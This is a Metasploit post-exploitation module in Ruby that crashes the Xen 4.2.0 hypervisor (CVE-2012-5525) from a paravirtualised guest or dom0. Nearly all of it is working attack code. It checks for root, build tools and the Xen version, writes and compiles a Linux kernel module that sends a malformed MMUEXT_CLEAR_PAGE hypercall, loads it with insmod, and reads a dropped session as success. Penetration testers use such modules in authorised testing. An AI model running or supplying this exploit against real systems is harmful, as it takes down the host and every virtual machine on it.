metasploit-framework/modules/post/linux/dos/xen_420_dos.rb

279 lines
7.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux DoS Xen 4.2.0 2012-5525',
'Description' => %q(
This module causes a hypervisor crash in Xen 4.2.0 when invoked from a
paravirtualised VM, including from dom0. Successfully tested on Debian 7
3.2.0-4-amd64 with Xen 4.2.0.),
'References' => [ ['CVE', '2012-5525'] ],
'License' => MSF_LICENSE,
'Author' => [ 'Christoph Sendner <christoph.sendner[at]stud-mail.uni-wuerzburg.de>',
'Aleksandar Milenkoski <aleksandar.milenkoski[at]uni-wuerzburg.de>'],
'Platform' => [ 'linux' ],
'Arch' => [ARCH_X86_64],
'Targets' => [ ['Linux x86_64', { 'Arch' => ARCH_X86_64 } ] ],
'SessionTypes' => ['shell']
)
)
register_options(
[
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
], self.class
)
end
def run
# Variables
@rand_folder = '/' + Rex::Text.rand_text_alpha(7 + rand(5)).to_s
@writeable_folder = datastore['WritableDir'].to_s + @rand_folder
# Testing requirements
print_status('Detecting requirements...')
return unless requirements_met?
# Cearting and writing random paths and files
vprint_status('Creating random file and folder names')
write_files
# Execute make and insmod
do_insmod
# Testing success of DoS
test_success
end
##
# Test all requirements:
# - root-priviliges
# - build-essentials
# - xen-enviroment (existing, not running)
# - xen-running
# - xen-version (DoS only works on specific versions)
##
def requirements_met?
unless is_root?
print_error("Root access is required")
return false
end
print_good('Detected root privilege')
unless build_essential?
print_error('No build-essential package found')
return false
end
print_good('Detected build-essential')
unless xen?
print_error('Running Xen was not found')
return false
end
print_good('Detected Xen')
unless xen_running?
print_error('Xen is not running')
return false
end
print_good('Detected running Xen')
unless right_xen_version?
print_error('Incorrect Xen version running')
return false
end
print_good('Detected correct Xen version')
true
end
##
# Checks for build essentials
# - Required for building a lkm
# - checks for gcc/g++, make and linux-headers
# - commands sh-conform
##
def build_essential?
check_command = 'if [ -s $( which gcc ) ] && '
check_command << '[ -s $( which g++ ) ] && '
check_command << '[ -s $( which make ) ] && '
check_command << '[ "$( dpkg -l | grep linux-headers-$(uname -r) )" != "" ] ;'
check_command << 'then echo OK;'
check_command << 'fi'
cmd_exec(check_command).delete("\r") == 'OK'
end
##
# Checks for running Xen Hypervisor
# - Looks for Xen in lsmod, lscpu, dmesg and /sys/bus
# - commands sh-conform
##
def xen?
check_command = 'if [ "$( lsmod | grep xen )" != "" ] || '
check_command << '[ "$( lscpu | grep Xen )" != "" ] || '
check_command << '[ "$( dmesg | grep xen )" != "" ] || '
check_command << '[ "$( which xl )" != "" ] ;'
check_command << 'then echo OK;'
check_command << 'fi'
cmd_exec(check_command).delete("\r") == 'OK'
end
##
# Checks for running Xen
# - Host eventually has Xen installed, but not running
# - DoS needs a running Xen on Host
##
def xen_running?
check_command = 'if [ -f /var/run/xenstored.pid -o -f /var/run/xenstore.pid ] ; then echo OK; fi'
cmd_exec(check_command).delete("\r") == 'OK'
end
##
# Checks for Xen Version
# - Most DoS of Xen require a specific version - here: 4.2.0
# - commands need running Xen - so execute after test for xen
##
def right_xen_version?
cmd_major = "xl info | grep xen_major | grep -o '[0-9]*'"
xen_major = cmd_exec(cmd_major).delete("\r")
cmd_minor = "xl info | grep xen_minor | grep -o '[0-9]*'"
xen_minor = cmd_exec(cmd_minor).delete("\r")
cmd_extra = "xl info | grep xen_extra | grep -o '[0-9]*'"
xen_extra = cmd_exec(cmd_extra).delete("\r")
xen_version = xen_major + '.' + xen_minor + '.' + xen_extra
print_status('Xen Version: ' + xen_version)
xen_version == '4.2.0'
end
##
# Creating and writing files:
# - c_file for c-code
# - Makefile
##
def write_files
@c_name = Rex::Text.rand_text_alpha(7 + rand(5)).to_s
@c_file = "#{@writeable_folder}/#{@c_name}.c"
@make_file = "#{@writeable_folder}/Makefile"
vprint_status("Creating folder '#{@writeable_folder}'")
cmd_exec("mkdir #{@writeable_folder}")
vprint_status("Writing C code to '#{@c_file}'")
write_file(@c_file, c_code)
vprint_status("Writing Makefile to '#{@make_file}'")
write_file(@make_file, make_code)
end
##
# Compiling and execute LKM
##
def do_insmod
cmd_exec("cd #{@writeable_folder}")
vprint_status('Making module...')
cmd_exec('make')
vprint_status("Insmod '#{@writeable_folder}/#{@c_name}.ko'")
cmd_exec("insmod #{@writeable_folder}/#{@c_name}.ko")
end
##
# Test for success via ssh-error exception
# - Host down => ssh-error => DoS successful
##
def test_success
successful = false
begin
is_root?
rescue RuntimeError => e
successful = true if e.message == 'Could not determine UID: ""'
raise unless successful
ensure
if successful
print_good('DoS was successful!')
else
print_error('DoS has failed')
end
end
end
##
# Returns Makefile to compile
# - LKMs need a Makefile
# - Needs the linux-headers, make and gcc
##
def make_code
m = <<-END
obj-m := #{@c_name}.o
EXTRA_CFLAGS+= -save-temps
all:
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
END
m
end
##
# Returns the c-Code to compile
# - Contains the essential bug to crash Xen
# - Here: Force a segmentation fault via hypercall, which crashes the host
##
def c_code
c = <<-END
#undef __KERNEL__
#define __KERNEL__
#undef MODULE
#define MODULE
#include <linux/module.h>
#include <asm/xen/hypercall.h>
MODULE_LICENSE("GPL");
static int __init lkm_init(void)
{
struct mmuext_op op;
int status;
op.cmd = 16; /*MMUEXT_CLEAR_PAGE*/
op.arg1.mfn = 0x0EEEEE; /*A large enough MFN*/
HYPERVISOR_mmuext_op(&op, 1, &status, DOMID_SELF);
return 0;
}
static void __exit lkm_cleanup(void)
{
}
module_init(lkm_init);
module_exit(lkm_cleanup);
END
c
end
end